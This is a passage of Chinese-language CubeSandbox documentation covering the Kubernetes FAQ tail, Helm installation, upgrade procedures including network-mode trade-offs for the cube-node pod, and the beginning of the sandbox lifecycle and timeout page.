注解是否匹配你的 Controller（默认按 nginx-ingress） * TKE：`values-tke.yaml` 默认关 Ingress，用 LoadBalancer（CLB）；DNS 指 EXTERNAL-IP * 无 Ingress：设 `cubeProxy.ingress.enabled=false`，自行接到 Service ### selfSigned 证书浏览器告警 试用预期行为。生产用： ```yaml cubeProxy: tls: mode: existingSecret # 或 certManager existingSecret: my-cube-tls ``` ### 改了 `cubeProxy.advertiseIP` 好像没生效 `cubeProxy.advertiseIP` 在 Chart 里只是**给人看的提示字段**（`values.yaml` 注释写明 optional hint），**不会**写入 Proxy / DNS / Service 模板，改它再重启 Proxy 也不会改变集群行为。 真正要改的是： * 外部 DNS / LB 指向的地址 * 或 `cubeProxy.service` / Ingress 相关配置 若只想滚动 Proxy 副本： ```bash kubectl -n cube-system rollout restart deploy/cube-proxy ``` *** ## Egress 网络 ### 沙箱上不了外网 * 登录到 `cube-node` pod内，检查是否能连通外网。 * 排查沙箱网络策略 ### 出站 MITM 后 TLS 报错 需要信任 Chart 下发的 egress CA： ```bash kubectl -n cube-system get secret cube-egress-ca \ -o jsonpath='{.data.cube-root-ca\.crt}' | base64 -d > cube-ca.crt # 注入模板 / guest 信任链，例如 /etc/ssl/certs/ ``` （Secret 名默认 `<release>-egress-ca`；证书 key 默认是 `cube-root-ca.crt`，不是 `ca.crt`。） 或用 `cubeEgress.ca.mode: existingSecret` 复用企业 CA。 ### `cube-egress-net` CrashLoopBackOff 它依赖主容器创建的 `cube-dev`： ```bash kubectl -n cube-system logs <cube-node-pod> -c cube-egress-net --tail=100 ``` * 日志出现 `interface cube-dev not present` → **cubelet** 尚未创建 `cube-dev`，通常会自愈；超过约 5 分钟查 cubelet 日志 * 规则反复 `rule reapply failed` → iptables 过旧（需 nft）或与 CNI 规则冲突 *** ## 升级、回滚与卸载 ### `helm upgrade` 会不会中断存量沙箱？Pod IP 会变吗？ **升 Big Pod 运行时镜像 / 改 Pod template 会 recreate Pod（UID 会变）。** 对沙箱的影响取决于网络模式：Pod 网络下 netns 被销毁，该节点存量沙箱断网；默认宿主机网络下 netns 存活——见[安装 · cube-node 网络与 Pod 重建](./install.md#_8-3-cube-node-网络与-pod-重建)。在原地替换落地前，两种模式都建议安排维护窗口。只升 Installer / Bootstrap / PVM 且不动 Big Pod template 时，Big Pod 可保持不变。步骤与红线见 [升级](./upgrade.md)。 会 recreate Big Pod 的典型操作：bump `images.cubelet` 等运行时镜像、增删容器、改 volumeMount / securityContext / 容器名 / env。 本次变更会把 `cube-node` Pod 中不带 `-c` 的 `kubectl exec` 和 `kubectl logs` 默认目标从 `network-agent` 改为 `cubelet`；如果运维流程需要其他 container，可通过 `cubeNode.podAnnotations` 显式设置默认值。 ### `helm rollback` 会回滚 host kernel 吗？ **不会。** Helm 只管 K8s 对象。kernel / GRUB / fstab / XFS 等需单独的宿主机回滚 runbook。 ### `helm uninstall` 后节点上数据还在 设计如此。卸载只删 Chart 管理的对象。计算节点上常见残留： ```bash sudo rm -rf /data/cubelet /data/cube-shim /data/cube-shared /data/snapshot_pack \ /data/log/Cubelet /data/log/CubeShim /data/log/CubeVmm \ /usr/local/services/cubetoolbox /var/lib/cube-node-bootstrap /tmp/cube \ /data/cubelet-xfs.img ``` PVM 内核还需卸包、改 GRUB、reboot。也可用 Chart 附带的 `deploy/kubernetes/chart/scripts/cleanup-node-host.sh`。 PVC/PV 是否删除取决于实际 StorageClass 的 `reclaimPolicy`（TKE 的 `cube-cbs-wffc` 常见为 `Delete`；`Retain` 则会留下）。 *** ## 镜像构建 ### 构建 arm64 ```bash ONE_CLICK_ARCH=arm64 \ PUSH=1 REGISTRY=<your-registry> IMAGE_TAG=v0.7.2 \ ./deploy/kubernetes/images/build-cube-images.sh ``` 需要 arm64 机器或 buildx multi-arch。 ### 只想重打某一个镜像 可以。给脚本传镜像名即可（不需要的下载 / `SOURCE_REF` 导出会按需跳过）： ```bash ./deploy/kubernetes/images/build-cube-images.sh cubelet ./deploy/kubernetes/images/build-cube-images.sh cubelet cube-shim ``` 完整列表见 `./deploy/kubernetes/images/build-cube-images.sh --help`，说明见 [`images/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/kubernetes/images/README.md)。 若发布包已解压好，可用 `PACKAGE_DIR_OVERRIDE` 指向该目录，避免重复下载。本地开发还可 `LOCAL_BIN=1` / `--local` 把 `_output/bin` 叠进镜像。 ### 老 curl 报 `--retry-all-errors` 未知 当前脚本**默认不会**加 `--retry-all-errors`；仅当显式设置 `CURL_RETRY_ALL_ERRORS=1` 且本机 curl 支持该 flag 时才会启用。一般无需关心；自改的旧 fork 若硬编码了该参数，删掉或升级 curl 即可。 *** ## 提问模板 ```text Chart 版本: K8s 版本: (kubectl version) 运行环境: (TKE / 自建 / k3s / 单节点 …) 关键 values 片段: (隐去密码) 失败组件: Pod 名 + kubectl describe + kubectl logs kubectl -n cube-system get pods -o wide ``` *** ## 下一步 * [Helm 安装](./install.md) * [架构说明](./architecture.md) * [升级](./upgrade.md) --- --- url: https://cubesandbox.com/zh/guide/kubernetes/install.md --- # Helm 安装 在现有 K8s 集群上完成 CubeSandbox 的 Helm 安装。 ## 安装流程 ```text ① 集群就绪 ↓ ② 给节点打标签（以及角色污点） ↓ ③ 准备 values 配置 ↓ ④ helm upgrade --install ↓ ⑤ 验证 ``` ## 1. 前置条件 | 项目 | 要求 | | --- | --- | | Kubernetes | **≥ v1.24+** | | 工具 | `kubectl`、Helm v3.10+ | | 存储 | 集群有可用 StorageClass | | 镜像拉取 | 节点能联网拉取镜像 | ### 节点角色 CubeSandbox 用 **标签** 区分两类节点： | 角色 | 建议规格 | 用途 | | --- | --- | --- | | **控制面节点** | ≥ 1 台；生产建议 3+；≥ 4C8G | 跑Cube的控制面组件 | | **计算节点** | ≥ 1 台；建议 16C32G+ | 跑沙箱 | ::: tip 建议 使用独立的机器作为计算节点。 ::: ::: details 什么是 PVM？（技术原理） PVM（Pagetable-based Virtual Machine）是一种**基于页表的嵌套虚拟化框架**，构建于 KVM 之上。与传统嵌套虚拟化不同，PVM 不依赖宿主 hypervisor 向 guest 暴露 Intel VT-x / AMD-V 等硬件虚拟化扩展，而是在 guest 内核层通过共享内存区域和影子页表（shadow page table）来完成特权级切换与内存虚拟化，对宿主 hypervisor 完全透明。 PVM 最初由论文 [《PVM: Efficient Shadow Paging for Deploying Secure Containers in Cloud-native Environment》](https://dl.acm.org/doi/10.1145/3600006.3613158) 提出。腾讯云在此基础上进行了大量功能与性能改进、bugfix，并将相关工作开源至 [OpenCloudOS 内核](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git)，供社区使用。数年来，我们已在腾讯云生产环境部署了大量 PVM 实例，其可靠性已经过生产验证。 ::: ## 2. 确认集群就绪 ```bash kubectl get nodes -o wide kubectl get storageclass # 非空 helm version --short # ≥ v3.10 ``` 记下稍后要用的节点名。确认至少有一台节点用于跑控制面、另一台跑计算面。 ## 3. 给节点打标签、角色 ### 3.1 多节点（推荐，控制面 / 计算面分离） 正常情况下，请为 K8s 添加至少 2 台机器，采用控制面、计算面分离的方式进行部署： 请执行命令为相关节点打标签： ```bash # 控制面节点 kubectl label nodes <control-node> cube.tencent.com/cube-control=true --overwrite # 计算节点（跑沙箱） kubectl label nodes <compute-node> cube.tencent.com/cube-node=true --overwrite # 若计算节点不是裸金属服务器，则还需要打这个 label ，即可自动安装 PVM kubectl label nodes <pvm-compute-node> cube.tencent.com/allow-pvm-bootstrap=true --overwrite ``` 打角色污点（避免无关负载落到这些节点上）： ```bash # 可选 # kubectl taint nodes <control-node> cube.tencent.com/control=true:NoSchedule --overwrite # 计算节点必打 kubectl taint nodes <compute-node> cube.tencent.com/compute=true:NoSchedule --overwrite ``` ### 3.2 单节点（不推荐） ::: tip 提示 对于单节点的情况，我们更推荐采用 [快速开始](../quickstart.md) 的方式进行部署，而不是使用 K8s。 ::: ::: details 单节点标签与污点 若您的 K8s 集群内仅有 1 台机器，可尝试通过以下方式打标签、污点（不推荐）: ```bash export NODE=<你的节点名> kubectl label nodes "$NODE" \ cube.tencent.com/cube-control=true \ cube.tencent.com/cube-node=true \ cube.tencent.com/allow-pvm-bootstrap=true \ --overwrite kubectl taint nodes "$NODE" cube.tencent.com/control=true:NoSchedule --overwrite kubectl taint nodes "$NODE" cube.tencent.com/compute=true:NoSchedule --overwrite ``` ::: ## 4. 准备配置文件 执行创建配置文件： ```bash cp deploy/kubernetes/chart/runtime-values.example.yaml runtime-values.yaml ``` 根据您的需求对其进行修改，至少填写以下内容： ```yaml cubeProxy: advertiseIP: "10.0.1.10" domain: "cube.app" tls: mode: selfSigned # 试用；生产建议 existingSecret / certManager # 必填 mysql: host: "" # 空 = 使用内置 MySQL password: "replace-me-mysql-password" rootPassword: "replace-me-mysql-root-password" redis: host: "" password: "replace-me-redis-password" ``` ### 更多配置 **控制面 PVC 配置** 请转到 [8.1 控制面 PVC 配置](#_8-1-控制面-pvc-配置) **计算节点数据盘** Cube 会在宿主机 `/data/cubelet`下写入数据，且该路径必须是 **XFS**文件系统。 为便于体验，我们默认会帮您创建 一块 25GB 的**loopback 镜像文件** 并挂载。 若您希望在生产环境部署，或调整相关配置，请转到 [8.2 计算节点数据盘配置](#_8-2-计算节点数据盘配置)。 **计算节点网络（cube-node 重建）** ::: warning 请在部署前决定 默认的**宿主机网络**下，沙箱设备留在宿主机 netns，不随 `cube-node` Pod 重建销毁；在 cubelet 重启后沙箱存活的实机验证落地前，drain 仍是支持路径。若改用 Pod 网络（`cubeNode.hostNetwork: false`），则沙箱运行期间该 Pod **不可重建**——该节点上所有沙箱的网络**全部中断（入站、出站均中断）**，且无法自愈。详细说明与取舍（含 NetworkPolicy）：[8.3 cube-node 网络与 Pod 重建](#_8-3-cube-node-网络与-pod-重建)。 宿主机网络默认值是新增行为，尚未在所有 CNI / admission 配置下验证。`hostNetwork` Pod 绕过 CNI IPAM、不被 NetworkPolicy 选中；eBPF 型 CNI（如 Cilium）自身的 eBPF 程序可能与宿主机网卡上的 cubevs 钩子冲突；集群若强制 `restricted` Pod Security Admission，会拒绝 `hostNetwork` Pod。**请先在测试集群验证此默认值**，再用于生产；集群不允许 `hostNetwork` 时设 `cubeNode.hostNetwork: false`（见 [8.3](#_8-3-cube-node-网络与-pod-重建)）。 ::: ## 5. Helm 安装 ::: tip 中国大陆用户 在以下任一安装命令中额外加上 `-f deploy/kubernetes/chart/values-cn.yaml`，即可从国内镜像源拉取镜像。 ::: 在仓库根目录执行以下命令即可完成安装： 由于该过程会下载较多资源、执行初始化动作，根据您的机器性能、网络状况，需要一段时间才能完成部署。 标准多节点部署： ```bash # 标准多节点 helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` 腾讯云 TKE： ```bash helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f deploy/kubernetes/chart/values-tke.yaml \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` 单节点试用： ```bash helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f deploy/kubernetes/chart/values-single-node.yaml \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` ## 6. 验证部署 ```bash # 1) Pod 是否 Ready kubectl get pods -n cube-system -o wide # 2) 计算节点是否已注册到 CubeOps kubectl exec -n cube-system deploy/cube-cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' # 3) 内置端到端测试（约数分钟） helm test cube -n cube-system --timeout 20m --logs ``` 期望： * `cube-node` Ready 数量 = 打了 `cube-node=true` 的节点数 * 命名空间 `cube-system` 下的各个服务均为 Ready * `helm test` 通过 **访问Cube 的 WebUI 界面：** ```bash kubectl -n cube-system port-forward svc/cube-webui 12088:12088 # 浏览器打开 http://127.0.0.1:12088 ``` ## 7. 卸载 ```bash helm uninstall cube -n cube-system kubectl delete namespace cube-system ``` 卸载**不会**自动清理： * 节点上的 Cube 标签 / 角色污点 * 计算节点 hostPath 数据 * PVM 宿主机内核改动 ## 8. 高级配置 ### 8.1 控制面 PVC 配置 * 默认：CubeMaster / MySQL / Redis / MinIO 走集群 **default StorageClass** * 指定 SC：在 `runtime-values.yaml` 修改 `persistence.storageClassName: <name>` * 单节点 / 无 CSI：可改用 hostPath（见 `runtime-values.example.yaml` 注释） ### 8.2 计算节点数据盘配置 对于 **生产部署** ，我们建议您通过运维手段，为每台计算节点配置单独的数据盘，格式化为 XFS 文件系统，并挂载在 `/data/cubelet` 下，这样能获得最佳的性能、稳定性。 然后，在 `runtime-values.yaml` 内配置： ```yaml bootstrap: nodeInit: dataCubelet: loopback: enabled: false ``` 若您的节点上没有独立数据盘，我们默认会在初次初始化计算节点时，在`/data/cubelet`下为您挂载 1 块 25G 的loop 设备。 ::: warning 只影响「第一次」创建 默认仅在 **`/data/cubelet-xfs.img` 不存在** 时自动创建磁盘镜像文件。 后续更改配置**不会**自动扩容。要换更大盘需在维护窗口内手工处理。 ::: 若您希望自定义数据盘配置，可按照以下方法在安装前调整配置： | values 路径 | 默认 | 说明 | | --- | --- | --- | | `bootstrap.nodeInit.dataCubelet.loopback.enabled` | `true` | 为 `true` 时，bootstrap 会在节点上创建并挂载 loopback XFS | | `bootstrap.nodeInit.dataCubelet.loopback.imagePath` | `/data/cubelet-xfs.img` | 镜像文件路径 | | `bootstrap.nodeInit.dataCubelet.loopback.size` | `25G` | **首次创建**镜像时的大小（`truncate -s`） | ```yaml bootstrap: nodeInit: dataCubelet: loopback: enabled: true size: 200G # 按容量规划调整；需小于存放 image 的文件系统剩余空间 ``` ### 8.3 cube-node 网络与 Pod 重建 ::: tip 一句话结论 `cube-node` 默认使用**宿主机网络**，Pod 重建不再改变沙箱网络设备所在的 network namespace。在 cubelet 重启后沙箱存活的实机验证落地前，计算面仍以 drain 为支持路径——见[升级](./upgrade.md)。若改用 Pod 网络（`cubeNode.hostNetwork: false`），则该 Pod **不可重建**——重建会导致该节点上所有沙箱的网络**全部中断（入站、出站均中断）且无法自愈**。 ::: #### 为什么网络模式决定这件事 沙箱的网络设备（TAP 设备）与 cubevs 钩子位于 `cube-node` Pod 的 network namespace 中，因此 Pod 的网络模式决定了重建时它们会怎样： | 项目 | 说明 | | --- | --- | | 触发条件 | 任何导致 Pod 重建的操作：DaemonSet template 变更、镜像升级、手工 `kubectl delete pod` 等 | | hostNetwork（默认） | netns 即宿主机 netns，不随 Pod 重建变化，设备得以保留。cubelet 重启后沙箱存活尚未实机验证——在此之前仍应 drain（见[升级](./upgrade.md)） | | Pod 网络（`hostNetwork: false`） | Pod netns 被销毁：该节点上**所有沙箱**的网络全部中断（**入站、出站均中断**）且**不能自愈**。只能销毁并重建受影响的沙箱 | 计算面升级同样受此影响，详见[升级](./upgrade.md)。 #### 默认：宿主机网络 `cubeNode.hostNetwork` 默认为 `true`，全新安装无需任何操作。保持默认时需要确认： | 事项 | 说明 | | --- | --- | | DNS | `dnsPolicy` 自动切为 `ClusterFirstWithHostNet`，集群内域名解析正常 | | 端口冲突 | cubelet（9998 / 9999 / 9966）与启用时的 CubeS3lvol 占用宿主机端口；已被占用时 `cube-node-init` 会 fail-fast（`bootstrap.nodeInit.checkHostPorts`）。CubeEgress 端口不在此检查中——启用时请自行确认。cubelet 端口无认证，防火墙按 kubelet 10250 同级对待 | | NetworkPolicy | 无法管控沙箱流量，见下文 | | 监控 / 防火墙 | 基于 Pod IP / Pod CIDR 的规则需改为基于节点 IP | | CNI / admission | `hostNetwork` Pod 绕过 CNI IPAM、不被 NetworkPolicy 选中；eBPF 型 CNI（如 Cilium）可能与宿主机网卡上的 cubevs 钩子冲突；`restricted` Pod Security Admission 会拒绝 `hostNetwork` Pod。此默认是新增的——先在测试集群验证，或设 `cubeNode.hostNetwork: false` | #### 改用 Pod 网络 当 Kubernetes NetworkPolicy 需要管控沙箱流量（例如「沙箱能否访问某个 Service」）时，设 `cubeNode.hostNetwork: false`。Pod 网络其余方面都是代价： * `cube-node` Pod 重建会中断该节点上所有沙箱的网络； * guest MTU 需要容纳 CNI 封装——`cubeNode.network.mtu: auto` 会按探测到的网卡下调。 在已有 release 上改这个值会重建所有 Big Pod，因此由一个 pre-upgrade Hook 拦截：见[升级 · 切换网络模式](./upgrade.md#切换网络模式)。 ::: info 后续工作：PR #1189（尚未合入，仅供参考） 若要在保持宿主机网络的同时用 NetworkPolicy 管控沙箱访问集群内 Service / Pod 的流量，以及实现完整的 `cube-node` 原地替换，可参考 [PR #1189](https://github.com/TencentCloud/CubeSandbox/pull/1189)： * 仅将发往集群 CIDR 的流量经节点本地 **EgressProxy Pod** 转发，并 SNAT 为 Proxy Pod IP，使其受您自定义的 NetworkPolicy 管控；其余流量仍走正常路由。 ::: *** ## 常见问题速查 | 现象 | 怎么处理 | | --- | --- | | 控制面 Pod 一直 Pending | 默认需要节点有 `cube-control=true`（或你改过的 nodeSelector）；再查污点 / toleration | | `cube-node` DESIRED=0 | 计算节点是否打了 `cube-node=true`？ | | Helm 报 `CHANGE_ME_*` / 校验失败 | 检查 `runtime-values.yaml` 密码与 `placement` 是否完整 | | 首次安装很久 / 节点重启 | 启用 PVM 时正常；等指纹就绪、门闩清除后再看 bootstrap / Big Pod | 更细的说明见本目录其它文档： * [架构说明](./architecture.md) * [升级](./upgrade.md) * [常见问题](./faq.md) *** ## 下一步 * [Kubernetes 部署概览](./index.md) * [架构说明](./architecture.md) * [升级](./upgrade.md) * [常见问题](./faq.md) * [从客户端连接集群](../multi-node-deploy.md#从客户端连接集群) * [WebUI 控制台](../webui.md) * [鉴权](../authentication.md) --- --- url: https://cubesandbox.com/zh/guide/kubernetes/upgrade.md --- # 升级 目标只有一句话：**控制面可以有序滚动升级；计算面升级会 recreate `cube-node` Big Pod——默认的宿主机网络下这对沙箱网络是安全的，Pod 网络下则会中断沙箱。** *** ::: warning Preview 版本警告 计算面使用原生 `apps/v1` DaemonSet：镜像 / 资源 / template 变更会导致 Big Pod **删除重建**，cubelet 进程也会重启。这对存量沙箱的代价取决于 Pod 的网络模式： * **宿主机网络（默认）**：tap 设备与 cubevs 钩子位于宿主机 netns，重建不会销毁，得以保留。在 cubelet 重启后沙箱存活的实机验证落地前，drain（isolate ≥ 60s、销毁沙箱）仍是支持路径。隔离操作详见[节点相关操作](../node-operations.md)。 * **Pod 网络**（`cubeNode.hostNetwork: false`）：重建销毁 netns，该节点上所有沙箱网络全部中断且不能自愈。**drain 必须做。** 若您暂时必须留在 Pod 网络，另一条路是用您熟悉的 K8s 插件实现“原地升级”——不重建 Pod，仅升级容器镜像。 部署当前版本后若计划升级，应当仔细评估更改、做测试后再实施。 **上述问题将在后续版本逐步得到解决。欢迎试用 K8s 部署方式，通过 Issue 反馈问题与建议。** ::: ## 为什么网络模式决定了重建的代价 CubeSandbox 的网络（cubevs）钩子挂在 Pod 的网卡上，沙箱的 tap 设备也与 Pod 处于同一 netns。Pod 网络下重建 Pod 会销毁该 netns，沙箱网络随之中断；宿主机网络下 netns 就是宿主机的，不随重建变化，设备因此保留。 取舍见[安装 · cube-node 网络与 Pod 重建](./install.md#_8-3-cube-node-网络与-pod-重建)；完整的原地替换设计可参考 [PR #1189](https://github.com/TencentCloud/CubeSandbox/pull/1189)（尚未合入）。 ## 切换网络模式 `cubeNode.hostNetwork` 属于 Pod template 字段，改动会重建所有 Big Pod，且沙箱数据面会跨 netns 迁移。因此有一个 `pre-install` / `pre-upgrade` / `pre-rollback` Hook（`cube-node-hostnet-preflight`）拦截：当线上 DaemonSet 的模式与渲染出的模式不一致时，变更会被拒绝，失败信息给出两条出路： 1. **保持现状**——在 values 里把 `cubeNode.hostNetwork` 写成线上当前的值。 2. **采用新模式**——逐节点 isolate、等待 ≥ 60s、销毁沙箱（见[节点相关操作](../node-operations.md)），然后设置： ```yaml cubeNode: hostNetworkChangeAck: true # 升级完成后可移除 ``` 在宿主机网络成为默认值之前安装的 release，values 里通常没有 `cubeNode.hostNetwork`：日常只 bump 镜像 tag 的升级也会渲染出新默认值并被本闸门拦下。想在这类升级中保持旧行为，请在 values 里显式写 `cubeNode.hostNetwork: false`。 确认键只被 Hook 读取——它不验证 drain，这个开关是运维的自行确认；它也不属于 Pod template，设置或移除都不会重建 Pod。 关于切换还有两点： * 切换后 node-init 会在已 ready 的节点上重跑（prepGeneration 已 bump），宿主机端口被占用时会卡在 node-init、cubelet 起不来。 * `helm rollback` / `--atomic` 仅在目标 revision 带本 Hook 时受闸门；更旧目标无闸门——请先 drain。回滚重放目标 revision 的 stored values，要把模式切回去请用带 `hostNetworkChangeAck: true` 的 `helm upgrade`，不要用 `helm rollback`。 ## 升什么，动哪条工作负载？ 计算面拆成四条线，**日常升级只改对应组件的镜像 tag**，避免顺手改 Big Pod 的 env / volumeMount / 容器列表（这些同样会 recreate）。 | 你想升级的东西 | 动哪条工作负载 | values 里改谁 | 是否会 recreate Big Pod | | --- | --- | --- | --- | | cubelet / wait-node-prep / 槽位镜像或 resources | **Big Pod**（`cube-node`） | `images.cubelet` 等 | **是**（见上方警告） | | shim / kernel / guest 产物 | **Installer** | `images.cubeShim` 等 | 否（Big Pod template 不变） | | node-init / 节点预检逻辑 | **Bootstrap** | `images.nodeInit` | 否（Big Pod template 不变） | | PVM 宿主机换核脚本 | **cube-node-pvm** | `images.pvmHostBootstrap` | 否（但节点可能 reboot） | ```text 升运行时组件 → 只改 Big Pod 相关 images.*.tag（会 recreate Big Pod） 升 toolbox 产物 → 只改 Installer 相关 images.*.tag 升节点预检 → 只改 images.nodeInit.tag 升 PVM 换核 → 只改 images.pvmHostBootstrap.tag ``` *** ## 日常升级（推荐路径） 1. 在本地 `runtime-values.yaml`（与首次安装相同的 values 文件）里更新要升的镜像 **tag**，例如： ```yaml images: cubelet: tag: v0.7.2 # 需要一起升再写上，例如： # cubeShim: # tag: v0.7.2 ``` 只改你真正要升的键；其它镜像保持不动即可。完整键名见文末[附录](#附录-镜像键速查)。 2. 用与安装时相同的 `-f` 组合执行升级： **⚠️警告：** 在生产环境中执行升级时，请逐个节点、组件进行灰度升级。全量操作是非常危险的！ ::: warning Preview 版本警告 升 Big Pod 运行时镜像会 recreate Big Pod。请先 drain（见上）；Pod 网络下必须做。 ::: ```bash helm upgrade cube ./deploy/kubernetes/chart -n cube-system \ -f runtime-values.yaml # TKE / 单节点等场景继续叠加首次安装时用过的 values-tke.yaml / values-single-node.yaml ``` ### 怎么确认升级成功？ ```bash # Big Pod 会被重建：UID 会变（宿主机网络下 PodIP 即节点 IP，不会变）； # 关注新 Pod Ready 与节点重新注册 kubectl get pods -n cube-system -l app.kubernetes.io/component=cube-node -o wide kubectl get daemonset -n cube-system cube-node # 控制面 Deployment 可按常规滚动验收 kubectl get deploy -n cube-system kubectl rollout status deploy/cube-master -n cube-system ``` 期望： * 控制面 Pod 按 Deployment 策略完成（`cube-master` 为 Recreate；其它控制面 Deployment 为 RollingUpdate） * 计算面：对应 DaemonSet 的 Pod 已换成新镜像并 Ready * 若升的是**Pod 网络**节点上的 Big Pod 运行时：该节点存量沙箱已中断；新沙箱可创建；节点已重新注册到 CubeOps *** ## 升级顺序 在 cube-master → cube-ops 迁移过程中，各组件的目标端点不同 按以下顺序升级，避免切流期集群出现不一致： 1. **先起 CubeOps（保证可达）。** 新 cubelet 把 `meta_server_endpoint` 指向 cube-ops，如果地址不可达会 fail-fast，所以必须先把 CubeOps 起好。 2. **CubeOps 起来后再起 CubeMaster。** CubeMaster 启动时如果配了 `cube_ops_addr` 且 CubeOps 不通，会 fail-fast。 3. **切流期不要新老 cubelet 同集群混跑。** 旧 cubelet 向 cube-master `:8089` 上报，新 cubelet 向 cube-ops `:3010` 上报；混跑会导致节点状态不一致。 逐节点滚动升级，或先把整个计算面停了再升。 4. **以上就绪后**，再按需滚动 `cube-master`、`cube-api`、计算节点。 ## 红线：这些操作也会 recreate Big Pod 下面任一操作都会让 Big Pod **recreate** → Pod UID 变化；Pod 网络下 netns 被销毁、存量沙箱中断。只在明确安排的维护窗口做。 | 不要随便做 | 为什么 | | --- | --- | | 改 `cubeNode.hostNetwork` | 会让沙箱数据面跨 netns 迁移；由 pre-install/pre-upgrade/pre-rollback Hook 拦截 | | 增删 Big Pod 容器（含改槽位数量） | 改 Pod template，DaemonSet 会重建 Pod | | 改 volumeMount / securityContext / 容器名 / 直接改 env | 同上 | | 改 `wait-node-prep` 的 env / mount（只 bump 镜像也会 recreate） | wait 为 initContainer；template 变更即重建 | | 手动删 Big Pod | 等于重建数据面 | | 把产物安装塞进 Big Pod | 破坏分工；产物应走 Installer | 另外：`cubeNode.env`、`cubeNode.podAnnotations`、网络相关 env、`global.timezone`、`cubeEgress.enabled` 也会改 Pod template——**不是日常无感升级项**。 *** ## 特殊场景 ### A. 改 PVM kernel pattern / boot args（会 reboot） 日常只换 `images.pvmHostBootstrap` 镜像、且指纹仍匹配时，一般**不会**再打 `pvm-not-ready` 门闩。 若你要**主动改** `bootArgs` / kernel pattern（期望指纹变化），建议在 `helm upgrade` **之前**打运维门闩（`value=maintenance`，与 Hook 自动打的 `true` 不同——旧 hold 默认不会清 maintenance）： ```bash # 1. 确认 CNI、kube-proxy 能容忍该 NoSchedule 污点 kubectl taint node <pvm-node> \ cube.tencent.com/pvm-not-ready=maintenance:NoSchedule --overwrite # 2. 在 runtime-values.yaml 里改好 bootArgs / kernel 相关配置后升级 helm upgrade cube ./deploy/kubernetes/chart -n cube-system \ -f runtime-values.yaml ``` 例如 values 中： ```yaml bootstrap: pvmHostKernel: bootArgs: "nopti pti=off <new-arg>" ``` 节点恢复后，只有新的 PVM init 在 live 指纹匹配时才会清掉 maintenance。任一步失败都不应 reboot。细节见[架构说明 · PVM](./architecture.md#pvmcube-node-pvm)。 关某节点的 PVM：去掉该节点的 `allow-pvm-bootstrap` label即可。**不要**指望只改 `cubeNode.pvmGuestKernel.enabled=false` 把已在跑 PVM 的节点悄悄切回 bm。 ### B. 卸干净重装（最后手段） ```bash helm uninstall cube -n cube-system sudo ./deploy/kubernetes/chart/scripts/cleanup-node-host.sh helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system -f runtime-values.yaml ``` 这会清掉 Chart 管理的对象；宿主机 hostPath / 内核改动需脚本与平台 runbook 另行处理。 *** ## 附录：镜像键速查 需要查「这个 image 键对应哪个容器」时用： | values 键 | 工作负载 | 容器 | | --- | --- | --- | | `images.cubelet` | Big Pod | `cubelet`（含内嵌网络运行时） | | `images.waitNodePrep` | Big Pod / Bootstrap | Big Pod 的 `wait-node-prep` init；Bootstrap 的 write-ready 也用它 | | `images.cubeShim` | Installer | `cube-shim-install` | | `images.cubeKernel` | Installer | `cube-kernel-install` | | `images.cubeGuest` | Installer | `cube-guest-install` | | `images.nodeInit` | Bootstrap | `wait-pvm-host` / `cube-node-init` | | `images.pvmHostBootstrap` | cube-node-pvm | `pvm-host-bootstrap` / hold reconcile | 改完 `bootArgs` / `prepGeneration` 等策略后，若担心误伤 Big Pod template，可跑： ```bash sh deploy/kubernetes/chart/scripts/test-big-pod-inplace-guard.sh ``` 该守卫要求这些策略变化对 Big Pod Pod template **零 diff**（避免无关配置变更触发 recreate）。 *** ## 下一步 * [架构说明](./architecture.md) * [Helm 安装](./install.md) * [常见问题](./faq.md) --- --- url: https://cubesandbox.com/zh/guide/lifecycle.md --- # 沙箱生命周期 沙箱（Sandbox）是 Cube-Sandbox 的核心运行单元。本页介绍沙箱从创建到销毁的**完整生命周期**，以及如何让平台自动管理生命周期、降低成本。 > 本页 SDK 形态与 [e2b](https://e2b.dev/docs/sandbox) 保持一致，便于已有 e2b 用户直接迁移。 ## 状态模型 一个沙箱在它的生命周期里会处于以下几种状态之一： | 状态 | 含义 | |-------------|----------------------------------------------------------------------| | `running` | 正在运行，CPU/内存被实际占用，可以接收请求与执行代码 | | `pausing` | 平台正在暂停沙箱（保存 VM 快照中），瞬时态 | | `paused` | 沙箱已暂停，VM 内存已落盘为快照，**不消耗** CPU 与内存，状态完整保留 | | `resuming` | 平台正在从快照恢复沙箱，瞬时态 | | `terminated`| 沙箱被显式销毁（`kill`）或因 `on_timeout="kill"` 超时被回收，无法恢复 | 状态转换主要由两个参数驱动： * **`timeout`**（可选）：沙箱**空闲**多久后触发超时，单位为**秒**（e2b 的 `timeoutMs` 是毫秒）。不传时由服务端决定；SDK 不再自带 300 秒之类的默认值。 * **`on_timeout`**：超时后怎么办——`"kill"`（默认，销毁）或 `"pause"`（暂停，可之后恢复）。 `timeout` 取值（语义对齐 e2b）： | 取值 | 行为 | |------|------| | 不传 | 使用服务端配置的默认空闲超时；服务端未配置或设为 ≤ 0 时，**永不超时** | | `NEVER_TIMEOUT`（`-1`） | **永不超时**——不会因空闲被自动回收 | | `0` | **立刻超时**——空闲后首次扫描即回收 | | 正整数 `N` | 空闲 **N 秒**后触发超时 | Go：`cubesandbox.NeverTimeout`；Python：`from cubesandbox import NEVER_TIMEOUT`。 ``` ┌──────────────────────────────────────┐ │ │ create() ┌────▼────┐ timeout & on_timeout=pause ┌─────────┐ ───────────────►│ running │ ──────────────────────────────►│ paused │ │ │◄──────── connect() 或 │ │ └──┬────┬─┘ auto_resume 触发的请求 └──┬────┬─┘ │ │ │ │ │ │ timeout & on_timeout=kill │ │ timeout & on_timeout=kill │ └────────────────┐ │ └──────────────┐ │ ▼ │ ▼ │ ┌────────────┐◄────────────┘ │ │ terminated │ │ └──────▲─────┘ │ │ │ kill() │ kill() └──────────────────────┘ ``` ## 创建沙箱 ```python from cubesandbox import Sandbox # 创建沙箱，空闲 60 秒后自动销毁（默认 on_timeout="kill"） sandbox = Sandbox.create( template="<your-template-id>", timeout=60, # 